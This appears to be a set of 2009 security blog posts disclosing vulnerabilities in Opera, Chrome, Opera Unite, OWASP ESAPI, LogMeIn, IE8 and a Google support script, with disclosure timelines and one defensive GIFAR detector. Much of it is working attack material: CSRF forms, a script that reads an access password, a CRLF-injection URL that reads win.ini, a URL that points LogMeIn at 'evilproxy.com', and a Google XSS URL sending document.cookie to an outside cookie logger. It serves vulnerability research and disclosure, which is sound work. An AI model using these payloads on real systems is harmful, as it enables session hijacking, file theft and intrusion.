In this exploit, an attacker uses a maliciously crafted RSS payload to achieve full control over the Victim’s Opera Browser. The attack works by convincing a user to visit a RSS feed link. When the user opens the url in Opera, there are two things that take place. The first one being Javascript in various RSS feed entries gets executed in the context of the calling site. This part was discussed in the previous post and can be used to execute XSS in the context of that site. The second thing that occurs is the untrusted rss feed content lands up in the Opera’s Feed Subscription Page (also the reason for this post). Since this is a native page, it runs in a higher privileged zone than the internet zone (something similar to chrome:// in Firefox and Chrome).

So, if you find a way to execute your malicious javascript in the feed subscription page, you can essentially execute native opera functions and ultimately use it to control the Victim’s Opera browser. It looks like Opera’s Team did think about the implications of putting untrusted user content in this page and hence only permitted a certain whitelist of html tags. In addition, for some html tags such as “A” and “IMG”, it required certain preconditions to be met. See the code snippets captured using Opera inbuilt debugger DragonFly (you can also use Firebug lite).

Whitelisted HTML Tags Definition – Opera Feed Subscription Page (Source – DragonFly)


HTML Tag Sanitizer/Filter Function – Opera Feed Subscription Page (Source – DragonFly)

If you had tried the simple xss attacks like <img src=”x:x” onerror=”some javascript”/> or something like <a onmouseover=”some javascript”>link</a>, these won’t work here (hint: check out preconditions defined above). It is important to understand what you are attacking and if read this code, you will figure out what constitutes a valid malicious payload that will evade this filter or sanitizer on the Opera Subscriptions Page.

So, here is an example PoC exploit code which executes the opera.feeds.subscribeNative function to automatically register a feed in Opera browser without user consent.

http://securethoughts.com/security/rssatomxss/opera10exploit2.atom
(Tested on Opera 10.00 Stable Build 1750)

=============================================

=============================================

I. TITLE
————————-
Exploiting Chrome and Opera’s inbuilt ATOM/RSS reader with Script Execution and more

II. VULNERABLE
————————-
Chrome all versions – 2 and 3 (< 3.0.195.21)
Opera all versions - 9 and 10.

III. BACKGROUND
-------------------------
Back in 2006, there was interesting research done by James Holderness[1] and James M. Snell[2] which uncovered a variety of XSS issues in various online feed aggregator services (e.g. Feed Demon). The vulnerability arises from the fact that it is not expected of RSS readers to render scripted content. I want to extend that research by doing threat analysis on inbuilt feed readers offered in most modern browsers. I have found Google Chrome (v2,3) and Opera (v9,v10) to be vulnerable, while Internet Explorer(v7,8), Firefox 3.5 and Safari 4 are resilient to the exploits mentioned below.

IV. DESCRIPTION
————————-
Google Chrome and Opera’s inbuilt RSS/ATOM Reader renders untrusted javascript in an RSS/ATOM feed.

Exploit Scenarios

1. Scenario 1 –
1. Attacker social engineers a victim user to visit a rss/atom feed link pointing to his or her evil site.
2. Victim uses Google Chrome / Opera browser to view the feed.
3. Malicious javascript gets executed on victim’s browser. Examples
1. Modifies into a phishing page and asks user credentials for subscribing to Google Reader / My.Opera.com
2. Searches user’s browser history for visited url list [3]
3. Scans user’s internal network with/without javascript [4]
2. Scenario 2 –
1. Both attacker and victim user have an account to a trusted website.
2. Either
1. The trusted web site lets the attacker inject JavaScript content into any section of the site’s RSS or an Atom feed.
3. OR
1. The trusted website uses blacklist to block known executable file types for scripted content. E.g. html, jsp, etc.
2. Attacker uploads a file with extension .rss/.atom/arbitary extension preceded by .rss/.atom [e.g. .atom.tx]. Most widely used Apache web server passes Content-Type as “application/{atom/rss}+xml” for all the three cases automatically in default configuration.
3. Attacker convinces victim to visit the direct link to uploaded file.
4. Victim’s cookies and other sensitive data gets sent to attacker’s site.
5. Note: For Internet Explorer (v7,8), the task is easier because it does automatic mime type detection. So, you can execute javascript content in any file extension. E.g. click http://securethoughts.com/security/rssatomxss/anyfile.tx. However, for other browsers, Firefox 3.5, Safari 4, Opera 10 and Chrome 3, they don’t support this functionality (perhaps for security reasons). So, using such extensions mentioned above can be used as a workaround for script execution in Opera and Chrome browsers.
3. Scenario 3 –
1. Similar to Scenario 1, but exploit can be used for complete control over feeds in the Opera browser.

V. PROOF OF CONCEPT
————————-

1. Exploit Scenario 1 [Testcases - 18 XSS for Chrome, 38 XSS for Opera] –
1. Chrome: http://securethoughts.com/security/rssatomxss/googlechromexss.atom [or .rss]
2. Opera: http://securethoughts.com/security/rssatomxss/opera10xss.atom [or .rss]
2. Exploit Scenario 2 –
1. Include all in Scenario 1
2. Opera: http://securethoughts.com/security/rssatomxss/opera10xss.atom.tx [Any arbitary file extension at. E.g .tx, .tm]
3. Chrome: http://securethoughts.com/security/rssatomxss/googlechromexss.atom.tx [Any arbitary file extension at. E.g .tx, .tm]
3. Exploit Scenario 3 –
1. Details and PoC will be released after patch is provided by Opera Security Team in next minor release.

For research purposes, you can try out the PoCs on these virtualized (and vulnerable) versions of various browsers, without installing any bits on your computer [5].

VI. FIX DESCRIPTION
————————-

1. Chrome: ATOM/RSS feed rendering is completely disabled by forcing a text/plain MIME type [6]. If you need feed rendering, a good alternative is FeedBurner which protects from any script execution attacks by blocking them at time of the feed registration.
2. Opera: Scenarios (1) and (2) will not be fixed, as it is a design feature. Scenario (3) will be patched in next minor release.

Google Chrome before fix –

Google Chrome after fix –

Opera before fix –

Opera After Fix –
Still the same. Only Scenario (3) will be fixed.

VII. SOLUTION
————————-
Chrome: Upgrade to latest version of Google Chrome (v3.0.195.21 or higher). If you remain connected to the internet, this should be automatic.
Opera: Wait for upcoming patch for Scenario (3) in next minor release (non-alpha/beta) of Opera 10 [Opera 9 users need to upgrade]. However, you will still continue to be vulnerable to script execution.

VIII. REFERENCES
————————-
1. Attack Delivery TestSuite – James Holderness
http://intertwingly.net/blog/2006/08/09/Attack-Delivery-TestSuite

2. Feed Security – James M. Snell
http://www.snellspace.com/wp/?p=448

3. CSS History Hack – Jeremiah Grossman
http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html

4. Browser Port Scanning without Javascript – Jeremiah Grossman
http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html

5. Downloading Xenocode’s “sandboxed” applications – Wladimir Palant
http://adblockplus.org/blog/downloading-xenocode-s-sandboxed-applications

6. Google Chrome Fix Details
http://code.google.com/p/chromium/issues/detail?id=21238

IX. CREDITS
————————-
This vulnerability is discovered by
Inferno (inferno {at} securethoughts {dot} com)

X. DISCLOSURE TIMELINE
————————-
Sep 7, 2009 12:09 PM: Vulnerability reported to Google and Opera Security Teams.
Sep 7, 2009 12:10 PM: Automated Response from Google Security Team.
Sep 7, 2009 03:49 PM: First Status update provided by Google Security Team. Quick response for a Holiday.
Sep 8, 2009 01:09 AM: First Status update provided by Opera Security Team. Vulnerability concluded as design feature.
Sep 8, 2009 03:28 PM: Vulnerability confirmed by Google Chrome Security Team. Patch timelines provided.
Sep 9, 2009 07:39 AM: Second Status update provided by Opera Security Team. Asked for exploit possibility for certain scenarios.
Sep 10, 2009 01:33 AM: Third Status update provided by Opera Security Team. Vulnerability confirmed for new provided testcases.
Sep 15, 2009 01:31 AM: Final Status update provided by Opera Security Team. Scenario (3) will be fixed, while Scenarios (1), (2) will not be.
Sep 15, 2009 03:04 PM: Patch released by Google Security Team in v3.0.195.21.
Sep XX, 2009 XX:XX XX: Patch planned by Opera Security Team for next minor release.

I would like to thank Chris Evans from Google Chrome Security Team and Sigbjørn Vik from Opera Security Team for their prompt responses, engaging in insightful discussions and getting the fix ready in a timely manner. It was a pleasure working with them.

Opera Unite comes bundled with a bunch of standard services such as Fridge (Notes), The Lounge (chatroom), etc. It is important to understand that these services have two distinct views. One view is of the Service Owner, who installs, customizes and runs these services on his or her computer. The service owner and the computer running these services have associated identifiers. By default, computer name is “home”. So, your administrative homepage is http://admin.home.uid.operaunite.com/. Remember that even though the protocol of communication looks like http, it is not. Opera relays all traffic using a proprietary ucp protocol (encrypted) to asd.opera.com and auth.opera.com (no protocol details except here). The other view is of the Service Page which is used by your users (friends, customers, etc) to access your selected content. These trusted users can access your services from any browser (not just opera unite) and uses the plain http protocol. The service homepage is http://home.uid.operaunite.com/.

I was fascinated by this idea, so I decided to look at the security aspects of the product (while it was in beta). Here are my findings in no particular priority order (tested on 10.00 Beta 3 Build 1703). I am including the PoC in their respective sections. Remember to change “home” with your computerid and “infernosec2” with your userid.

1. Enumerating Service Owner Usernames — Well, if you want to carry out targeted attacks against a particular user, it is easier to do so by guessing his or her username. Usernames are generally firstname/lastname/firstname.lastname, etc. However, for more generic attacks, Opera Unite makes our task easier by allowing Google to index its user’s pages (configurable). Here is the output from a simple query – site:operaunite.com

2. Enumerating Computer names for a particular Service Owner — Once you decide on your target service owner, the next step is to determine which computers belong to him or her. Note that from the search engine, you might only get few computer names and not all since owner might have elected to not index the private ones. However, if you visit the service homepage with any non-existent computer name, then Opera Unite happily discloses all computer names used by that person.

3. Enumerating Service Owner Server IP address and Port number — If you are a service owner and is thinking that your identity is masked by Opera Unite Proxy Servers, think again. Opera Unite discloses your IP address and Port number to any user (even unauthenticated) who visits your service pages. I have tested this to work on File Sharing and File Uploader Services. Just do a view-source: on any of those pages.

4. Hijacking Insecure Communication in Service Pages — While Opera Team has taken adequate steps to secure the Service Owner’s communication with Opera Unite Servers (using proprietary ucp), however, the communication of Service Page users with Opera’s Server is plain http and there is no choice to use https (like you cannot do https://home.infernosec2.operaunite.com/file_sharing/content/). These users use sensitive credentials to login to your services and need the same kind of security as the service owner. What is more shocking is that the user management system at my.opera.com does not support https. Try visiting https://my.opera.com/

5. Hosting Phishing Pages and other Malware on Trusted Operaunite.com — As an attacker, you can use Opera Unite to serve phishing pages and malware content from your profile. Both file sharing and file uploader services render the service owner content inside the browser, leaving user vulnerable to phishing and other malware attacks. For example, before serving some content, I phish the user to provide his or her opera unite credentials. User might think that the content is coming from trusted operaunite.com and hence has a high probability of falling to this spoof.

6. CSRF-ing a File Upload from a Trusted User — Lets say a trusted user is using your file uploader service, i.e. he or she has provided credentials to access it. At the same time, if that user goes to my evil site, I can make him upload arbitrary files to your computer, thereby breaking the trust you have in that user. If the service owner accidentally clicks on that file, it renders inside the browser (thanks to automatic MIME type detection) and poof your XSS executes. In the example below, I have written code to steal your service access password. Please note that this exploit requires that your trusted user is accessing the service from any browser other than Opera since Opera escapes the filenames properly. This exploit is out for the last 1.5 years, but browser vendors haven’t felt the need to fix this (still works for IE8, Firefox 3.5.2).

<html>
<form method="post" action="http://home.infernosec2.operaunite.com/file_uploader/content/upload" enctype="multipart/form-data">
<textarea name='file"; filename="evil"
Content-Type: text/html; '>
<html>
<script>
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
            if (xhr.readyState == 4) {
                if (xhr.status == 200) {
					var pattern= /<[^>]*unite-aclPassword" value="([^>]*)">/i;
					if(pattern.test(xhr.responseText))
					{
						alert("Your acl password is: "+RegExp.$1);
					}
                }
            }
        };

    xhr.open('GET', 'http://admin.home.infernosec2.operaunite.com/file_uploader/admin/', true);
    xhr.send(null);
</script>
</html>
</textarea>
</form>
<script>
     document.forms[0].submit();
</script>
</html>

(Combined PoC available here – http://securethoughts.com/security/operaunite/attack.html)

7. CSRF-ing a Note on the Fridge — Fridge service is an unauthenticated service that is meant for people to leave notes on your computer. If you turn on this service, an attacker can leave weird derogatory fun notes or just fill the queue (default limit -24) so that noone else can post anything. However, he might not want to do that since his ip etc might be getting logged by Opera Servers. So, the better or more stealthy way is to make other users do it for him. Any user that visits his evil site can be made to automatically post notes to any Opera Unite Profile. This includes the service owner as well who can be forced to post something on his computer .

<html>
<form method="post" action="http://home.infernosec2.operaunite.com/fridge/">
<input type="text" name="post" value="You are Hacked">
<input type="text" name="author" value="Attacker">
<input type="text" name="email" value="Evil">
<input type="text" name="cancel" value="cancel">
</form>
<script>
     document.forms[0].submit();
</script>
</html>

(Combined PoC available here – http://securethoughts.com/security/operaunite/attack.html)

8. CSRF-Ing anyuserid to join a chatroom — Similar to (6), you can force any trusted user (who is already authenticated to your chatroom with a particular userid) to rejoin with alternate usernames. He or she cannot be forced to post anything (csrf protection), however, this can abused to disrupt any existing conversation. I still have a hard time understanding why anyone wants to allow such functionality ?

<html>
<form method="post" action="http://home.infernosec2.operaunite.com/the_lounge/entry">
<input type="text" name="nick" value="anyfakeid">
</form>
<script>
     document.forms[0].submit();
</script>
</html>

(Combined PoC available here – http://securethoughts.com/security/operaunite/attack.html)

9. XSS ing the unite-session-id cookie, works for almost all services — There is an XSS issue in the unite-session-id cookie, whose value gets echoed in the javascript of http response. I would call this as a low severity issue since this attack of overwriting http headers is only possible to do with older versions of Flash (like 7,8,lower versions of 9) and IE6. Still a bug though

10. Clickjacking any Service Page — Opera Team has taken necessary steps to protect the service owner pages from any type of clickjacking exploits. However, they do not provide any protection for the service pages. With the current list of default services and operations allowed from trusted user, I cannot think of interesting exploits. One example can be to clickjack a chatroom user and force him to logout of a conversation. I didn’t get much time to spend on this. But when more and more people start writing their own opera unite services that allow dynamic user interactions, this type of protection will definitely be required.

11. Inconsistency in Password Policy for some services — Most opera unite services are initialized and protected by a default 8 or 9 digit alphanumeric password. However, the photo service is protected by a default 4 char password, which is easily breakable by brute force (looks like photos are considered less private than files). Also, chatroom is out-of-the-box unauthenticated and even if you enable password protection, it picks up a default password “default”. So, your users will have to generate a strong password themselves, which is highly unlikely.

References :–

1. Clickjacking – Jeremiah Grossman and Robert “RSnake” Hansen
http://ha.ckers.org/blog/20081007/clickjacking-details/

2. Forging HTTP Request Headers with Flash – Amit Klein
http://www.securityfocus.com/archive/1/441014

3. Exploiting XSS Vulnerabilities on Cookies – Sirdarckcat
http://sirdarckcat.blogspot.com/2008/01/exploiting-xss-vulnerabilities-on.html

4. CSRF-ing File Upload Fields – Kuza55
http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html

I was evaluating this ESAPI api and the recommendations given on the wiki to see if there are any potential flaws. Any weakness impacts a very large number of users since many developers are using it to strengthen their web applications throughout the world. This is my way of contributing back to the community, but can never match the immense efforts put by Jeff and other OWASP team members in developing this library.

I want to give you a little bit of background before diving into the real vulnerability. The XSS prevention cheat sheet classifies XSS protections by dividing them into broadly four buckets – HTML Body injection, HTML Attribute injection, Javascript injection and CSS injection. For each of these four buckets, there is an ESAPI function reference you can use for output escaping/encoding.

If you allow any untrusted user input into javascript functions document.write() OR eval(), it can still execute the XSS even after you do the scrubbing using the ESAPI encodeForJavaScript() function. The reason being that hex escaped chars are converted back into normal chars at the time of execution of these functions.

Here is the proof of concept jsp code:

<%@page import="org.owasp.esapi.*"%>

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
   "http://www.w3.org/TR/html4/loose.dtd">

<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>ESAPI XSS Protection Bypass</title>
    </head>
    <body>
        <h1>ESAPI XSS Protection Bypass</h1>
        <p id="tb1"/><br>
        <p id="tb2"/>
        <script>
            //in real scenario, these three strings come from request.getParameter or user input
            <%
                String vulstr1 = "-1';alert(0);";
                String vulstr2 = "<img src=x onerror=alert(1)>";
                String vulstr3 = "0,x setter=alert,x=2";
            %>   

            // you can safely use it in places like this
            // Ex. vulstr1 is completely encapsulated in a and alert(0) not executed.
            var a='<%= ESAPI.encoder().encodeForJavaScript(vulstr1) %>';
            alert(a);

            // However, you can bypass protection in places like these
            // Ex. vulstr2 gets written to html and alert(1) executes
            document.write("<%= ESAPI.encoder().encodeForJavaScript(vulstr2) %>");
            // Ex. part of vulstr3 get assigned to u, rest alert(2) executes
            eval("u=<%= ESAPI.encoder().encodeForJavaScript(vulstr3) %>");
        </script>
    </body>
</html>

Much thanks to Jeremiah Grossman and Jeff Williams for taking the time to review my idea and providing their insights. Jeremiah told me that he has seen such injections from time to time at WhiteHat and these do exist in the wild.

Jeff confirmed that some documentation changes will fix this. I agree that no esapi code change is required, because function themselves are not insecure.

But, if you are currently using esapi functions inside your javascript code, it is important that you re-review your javascript code and the places where your make calls to esapi functions.

If you use the esapi function encodeForJavaScript() inside document.write, it is advised that you change them with other appropriate esapi functions depending on the context where the data is ultimately landing. For example, if you have document.write(“<script>alert(‘XSS’)</script>”), you know the data is landing in html body context, so it is appropriate to use encodeForHTML() wrapper. Using user input inside eval is less common, but more disastrous. The reason for this is you can still begin another command context using , and (space) char and it won’t be encoded by function encodeForHTML(). So, it is better to avoid putting user input inside eval.

Any more suggestions or discussion on fixes is highly welcome.

For exploiting these vulnerabilities, you need to social engineer the user to click on a url (e.g. through spam email) or make them visit your evil site somehow.

Vulnerability 1:
The url paramater “lang” passed to cfgadvanced.html is vulnerable to HTTP Header Injection attack using CRLFs. What makes this attack more interesting is once you social engineer a user into clicking this malicious url, you achieve persistent control over all the LogMeIn web pages.

This happens because after the injection occurs, LogMeIn stores the new value of “lang” paramater in registry key [HKEY_LOCAL_MACHINE\SOFTWARE\LogMeIn\V5\Appearance\Language] and puts it in Content-Language header everytime you click any link.

The proof of concept url given below can by used to STEAL ANY FILE ON YOUR DISK, in this case your win.ini file.

https://localhost:2002/cfgadvanced.html?op=update&DisconnectExisting=1&NoHttpCompr=1&CrashDumpInfo=0&lang=en-US%0D%0A%0D%0A%3Chtml%3E%3Cbody%3E%3C/body%3E%3CSCRIPT%3Evar%20ifr%3Dnull%3Bfunction%20al%28%29%7Bvar%20str%3D%28window.frames%5B0%5D.document.body.innerHTML%20%7C%7C%20ifr.contentDocument.documentElement.innerHTML%29%3Balert%28str.substring%28%28str.toLowerCase%28%29%29.indexOf%28%22%3Clegend%3E%22%2C400%29%29%29%3B%7D%20if%28window.location.href.match%28/.*cfgad.*/%29%29%7Bifr%3Ddocument.createElement%28%22iframe%22%29%3Bifr.src%3D%22https%3A//localhost%3A2002/logs.html%3Flog%3D../../../windows/win.ini%22%3Bdocument.body.appendChild%28ifr%29%3BsetTimeout%28%22al%28%29%22%2C4000%29%3B%7D%3C/script%3E%3C%21--

To help you understand this exploit better, I am pasting the url decoded parameter value of “lang” paramater.

lang=en-US

<html>
<body>
</body>
<script>
var ifr=null;
function al()
{
var str=(window.frames[0].document.body.innerHTML || ifr.contentDocument.documentElement.innerHTML);
alert(str.substring((str.toLowerCase()).indexOf("<legend>",400)));
}
if(window.location.href.match(/.*cfgad.*/))
{
ifr=document.createElement("iframe");
ifr.src="https://localhost:2002/logs.html?log=../../../windows/win.ini";
document.body.appendChild(ifr);
setTimeout("al()",4000);
}
</script>
<!--

a. The following url can be used to make your machine restart everyday at a particular time. Too bad if you are using LogMeIn in a production environment .

https://localhost:2002/restartat.html?type=1&datey=2009&datem=04&dated=28&daily=1&week=0&timeh=22&timem=40&force=1&op=set

b. The following url can be used to set an intercepting proxy that passively listens all your LogMeIn traffic.

https://localhost:2002/cfgnet.html?submit=1&restart=&ListenPort=2002&ListenPort=2002&ListenIP=*&IPFilter=&BrokenProxy=255.255.255.0&ServicingThreads=50&IdleTimeOut=0%3A00%3A20%3A00&VersionCheck=1&ProxyAddr=evilproxy.com&ProxyPort=2000&ProxyUsername=user1&ProxyPassword=pass1&submit=Apply

The LogMeIn Team is currently fixing all these vulnerabilities and a patched version should be available anytime this month. Till then, I advise disabling LogMeIn completely. Web Interfaces are historically known to be disastrous (e.g. uTorrent Pwn3d, Router Hacking Challenge), so make sure you know what gets installed on your computer .

If you don’t remember, there was an important XSS vulnerability reported in all major browsers a while ago – IE7, Firefox and Opera. More Information is available in the Secunia advisories here. The vulnerability was that if you don’t specify a charset in your application page, then it is susceptible to inherit the charset in the parent page via iframes. So, if you accidently land on an evil site, an attacker might be able to steal your application session since your usual XSS prevention stuff [<,>,",',etc] will not filter the utf-7 encoded chars and XSS will execute in your vulnerable domain. Proof of Concept that works in IE7 but not in IE8 -
http://www.securethoughts.com/security/ie8utf7/ie7utf-7.html

This vulnerability was patched in Firefox 2.0.0.2, Opera 9.20 and recently in Internet Explorer 8. Ideally, we should not be vulnerable to this attack anymore. However, I have found a way to attack the fix that was done in Internet Explorer 8. I have tested it working with IE8 RC1 and final release version IE8.0.6001.18702. I call this a “Local Redirection Attack”.

The attack works as follows:

1. You are authenticated to vulnerable domain e.g. 50webs.com.

2. You land onto the evil site via link –
http://www.securethoughts.com/security/ie8utf7/ie8utf-7.html.

3. The page loads into your IE8 browser.

4. IE8 thinks that it is loading a child page -
[http://www.securethoughts.com/security/ie8utf7/utf-71.html] from the same domain and hence removes the restriction on charset inheritance.

5. This is where Local Redirection Attack comes into play. The attacker sets a temporary redirect on the child page to vulnerable site [http://webappsec.50webs.com/utf-71.html]. Make sure that the link to vulnerable site is a page with your UTF-7 injected characters [Persistent/Reflected XSS]. In this case, my utf-71.html page on 50webs.com has a persistent XSS with UTF-7 characters.

6. The XSS executes in the context of vulnerable site. E.g. if you see below, you can see my 50webs.com member cookie appended with ‘XSS’ in an alert box.

I have been in touch with Jack from Microsoft Security Response Center (MSRC) team for the last 2 months. I would like to thank the Microsoft Security Team for their timely responses and letting me discuss these issues with the security community. They are actively working to resolve this issue and a fix for this vulnerability is expected to arrive in the next version of Internet Explorer, IE9.

I recently reported a cross-scripting flaw to Google, which is now fixed. The vulnerability existed in Google’s Support Python Script where a malicious url is not sanitized for XSS character ‘ (single quote) before putting inside javascript variable logURL. As a result, it was possible to break the encapsulation of the var declaration and execute arbitary javascript commands on the main Google.com domain.

The only limitation was the following characters were either filtered out or url encoded – ” (double quote) < > (space) { }. However, this protection could be easily circumvented. I was able to write javascript statements to steal the session cookies [since characters such as ' ; . ( ) / = + were still available] and send it to my evil website. See the example given below.

Your Google.com domain cookie is the central Single Sign-On cookie to all google services. Once anyone gets it, he or she can use it to

1. Steal your emails.
2. Steal your contacts.
3. Steal your documents.
4. Steal your code.
5. Steal your sites.
6. Steal your website analytics.
7. Backdoor your iGoogle Homepage with malicious gadgets.
…. and there should be still some more things remaining that you can play with.


Simple Proof of Concept Code that displays your Google.com cookie in an alert box:-

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';alert(document.cookie);//&src=cb&lev=index

More real-world example where an attacker will silently transfer your Google.com cookie to his or her evil site:-

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';ifr=document.createElement('iframe');ifr.src='http:'+'//www.securethoughts.com/security/cookielogger/log.cgi?cookie='+escape(document.cookie);document.body.appendChild(ifr);//src=cb&lev=index

I would like thank the Google Security Team for their prompt responses and fixing this serious issue in a timely manner. If you think Google took a long time in fixing this vulnerability, think again. This python script is used in a lot of places. Try this Google Dork to see the usage of this script in almost all Google Services.

Before that, I have used Stefano’s Tool, SWFIntruder. It is a nice tool to audit Actionscript 2 apps, but it only reports XSS issues and does not support Actionscript 3. This time, I was out of luck, since I needed to audit a Actionscript 3 App. Also, I could not decompile and study its source code since the free tool Flare does not work on Actionscript 3.

So, I decided to give HP’s tool a try. I had a lot of expectations from this tool, since HP already has a popular tool WebInspect which is known in the industry for its website and web services auditing capabilities. I ran this tool on my app and it decompiled beautifully the complete source code of the flash app. It has a useful search feature which can aid in manually studying source code for vulnerabilities. However, I wanted to see some of its automatic auditing capabilities. So, I ran the scan and found it to find some issues like crypto issues(sha0/sha1), stacktraces, etc. Apart from that, it didn’t report any serious issues like XSS, etc. It also does report a large number of false positives in checks that start with “Possible/Potentially – - – -”. But i am willing to ignore those as long as the tool can effectively find some important vulnerabilities.

I didn’t know my app had any XSS issues or not, so I decided to use the free test.swf which is provided as part of SWFIntruder.

To my surprise, HP’s SWFScan tool did not report any of the 5 XSS issues reported by SWFIntruder.

If you see the screenshots below, swfscan shows you the vulnerabilities it found and the decompiled source code. Using manual inspection, a penetration tester can easily locate XSS issues in parameters such as _root.obj and _root.sd which are directly written into html without any escaping/filtering. I hope this free SWFScan tool improves in the near future and does not miss auditing such simple vulnerabilities.

For understanding this attack, first lets compose a simple html file with the following contents:

<noscript>
<script>alert('XSS')</script>
</noscript>

Then lets run this file in your browser (Example – noscript.html). You would notice that it won’t execute the javascript to show an alert box. The reason being:

1. If you have javascript enabled, then any content inside noscript tags does not get parsed. Check the standards here.
2. If you don’t have javascript enabled, then content inside noscript tags will be parsed. However, since javascript content is globally disabled, the javascript code inside noscript tags won’t execute as well.

So, then the only way left to execute our malicious XSS inside noscript html tags is to come out of the noscript tag using </noscript> and then use our simple XSS vector. Also, you should add the html comments start tag at the end to prevent any html parser errors. The complete attack vector looks like this:

"></noscript><script>alert('XSS')</script><!--

I have seen some real world examples where this attack is possible. It looks like that Developers have a false illusion in their minds that it is not required to escape user supplied content inside noscript html tags. This posting should help to open some eyes.

The example code given below comes from the html page of a mid-size company that aims to put the world wide web offline. Despite several attempts to contact the site owner, I have not received any response. Since this vulnerability still exists, I have removed the site’s name from the various images below.

1. Javascript content inside title tag is escaped.

2. Javascript content inside input tag is escaped.

3. Javascript content inside noscript tag is NOT escaped.

In Billy’s Blog, two solutions have been discussed :-

Solution 1. Update to the latest version of JRE. This will protect you. However, if I am a web application writer, I cannot ensure that my customers will be protected. The reason is I cannot control the JRE version that my customers will be running on their client machines. The JRE updates don’t work like Windows Updates. So their obsolete JRE environments will not get automatically updated, which leaves them vulnerable to cross-domain exploits. So, Billy discusses another solution for the application writer.

Solution 2. Serve user controlled files from a “throw away” domain. However, having a separate domain might not be feasible at all times, for reasons such as cost, management issues, etc.

My Solution. This made me think of some solution that could help an application developer to filter malicious jar content on the server side. If the application is able to restrict the upload of malicious files, it solves the problem on the server side without worrying about which version of JRE the client is running. I found the api JarFile in Java library java.util.jar to be extremely useful. It takes as input a file parameter, and returns a JarFile object if the input file has jar content. Otherwise, it raises a java.util.zip.ZipException exception.

I have constructed Proof of Concept code that tests a input file for malicious jar content.

import java.io.*;
import java.util.*;
import java.util.jar.*;

public class DetectGIFAR {
    public static void main (String args[])
         throws IOException {

		if(args.length != 1)
		{
			System.out.println("Usage: java DetectGIFAR image_file");
			System.exit(1);
		}

		try
		{
			JarFile jarFile = new JarFile(args[0]);
			System.out.println("This is a malicious image with embedded jar content.\nFollowing are the contents:-");
			Enumeration jarenum = jarFile.entries();
			while (jarenum.hasMoreElements()) {
				JarEntry jarent = (JarEntry) jarenum.nextElement();
				System.out.println(jarent.getName() + ", " + jarent.getSize() + " bytes");
			}
		}
		catch(java.util.zip.ZipException e)
		{
			System.out.println("This is a benign image file. No jar content detected.");
			System.exit(0);
		}
		catch (Exception e)
		{
			System.out.println("Error occured. Unable to process GIFAR contents.");
		}
	}
}

DetectGIFAR.java, DetectGIFAR.class, titanic.gif, evil.gif

Below is sample output

And if you are new to the GIFAR exploit, below is example html applet code that loads a malicious gif hosted on my domain. You need to have the vulnerable JRE 1.6 update 10 or lower to see this applet running. You can play with this applet by typing anywhere inside it .

Let me know your thoughts and opinions on this server side fix. I am always open for discussions.